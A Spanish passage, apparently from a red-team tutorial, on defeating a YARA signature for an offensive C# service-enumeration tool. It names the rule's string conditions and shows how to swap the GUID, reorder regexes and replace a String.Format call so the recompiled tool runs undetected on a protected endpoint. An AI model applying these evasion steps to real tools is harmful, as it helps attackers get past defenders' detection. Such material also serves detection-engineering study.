En este caso, tiene que encontrar "$guid" o, si no encuentra "$guid", necesita "$str0", "$str1", y "$str2"; además de "$print_str1", "$print_str2", o "$print_str3". Por lo tanto, la cantidad mínima de cambios necesarios para eludir la regla es eliminar "$guid" y al menos una de las variables "$str".
El GUID puede encontrarse en AssemblyInfo.cs.
Esto puede sustituirse por otro GUID aleatorio —muy fácil de hacer en PowerShell.
PS C:\> [Guid]::NewGuid()
Guid
----
a57e5271-3d8a-44c5-8b53-e38f19ca8a63
$str0 y $str1 son expresiones regulares usadas para filtrar servicios con rutas binarias que terminan con esas extensiones de archivo.
Puedes modificarlas cambiando el orden, por ejemplo \.dll|\.sys|\.exe y \.bat|\.vbs|\.exe|\.ps1, respectivamente.
$str2 es una consulta WMI, usada varias veces en distintas partes del código.
La firma YARA para esto incluye la cadena literal "{0}", utilizada en String.Format. En tiempo de ejecución, se reemplaza con el valor de sc.ServiceName. Podemos eliminar esta firma reemplazando esta llamada con string interpolation, de modo que la línea quede así:
ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\cimv2", $"SELECT * FROM win32_service WHERE Name LIKE '{sc.ServiceName}'");
Hay algunos trucos rápidos para reemplazar todas las instancias de ciertas cadenas en Visual Studio, lo cual es útil si aparecen varias veces. Abre la ventana "Replace in Files" yendo a Edit > Find and Replace > Replace in Files o presionando Ctrl+Shift+H.
Introduce la cadena original y la cadena de reemplazo, luego haz clic en Replace All. También puedes cambiar a la pestaña "Find in Files" para buscar todas las instancias sin reemplazarlas.
Una vez hechos los cambios, recompila el proyecto y ejecútalo en un endpoint protegido.








































